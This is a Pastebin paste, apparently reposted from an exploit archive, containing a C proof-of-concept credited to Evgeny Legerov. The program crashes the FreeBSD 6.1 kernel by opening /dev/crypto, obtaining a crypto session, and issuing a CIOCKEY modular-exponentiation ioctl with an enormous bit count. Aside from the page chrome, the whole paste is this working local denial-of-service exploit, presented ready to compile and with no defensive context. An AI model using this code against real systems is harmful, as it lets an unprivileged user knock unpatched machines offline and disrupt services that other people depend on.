Tr3v0r

[BSD] FreeBSD 6.1 (/dev/crypto) Local

Sep 9th, 2014
269
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.07 KB | None | 0 0
  1. ================================================================
  2. FreeBSD 6.1 (/dev/crypto) Local Kernel Denial of Service Exploit
  3. ================================================================
  4.  
  5.  
  6.  
  7.  
  8. // Evgeny Legerov (elegerov.blogspot.com)
  9.  
  10. #include unistd.h
  11. #include sys/types.h
  12. #include stdio.h
  13. #include fcntl.h
  14. #include crypto/cryptodev.h
  15.  
  16. int main()
  17. {
  18. int fd2, fd;
  19. struct crypt_kop kop;
  20.  
  21. printf("FreeBSD 6.1 /dev/crypto local kernel DoS\n");
  22.  
  23. fd2 = open("/dev/crypto", O_RDWR, 0);
  24. if (fd2 == -1){
  25. perror("open");
  26. exit(-1);
  27. }
  28.  
  29. if (ioctl(fd2, CRIOGET, &fd) == -1) {
  30. perror("ioctl");
  31. exit(-1);
  32. }
  33.  
  34. kop.crk_op = CRK_MOD_EXP;
  35. kop.crk_iparams = 3;
  36. kop.crk_oparams = 1;
  37. kop.crk_param[0].crp_nbits = 0x70000000;
  38.  
  39. ioctl(fd, CIOCKEY, &kop);
  40.  
  41. printf("exploit failed\n");
  42.  
  43. return 0;
  44. }
  45.  
  46.  
  47.  
  48. # 7AF28755AE124D79 1337day.com [2014-09-09] 228EC60EF4ECC97F #
Add Comment
Please, Sign In to add comment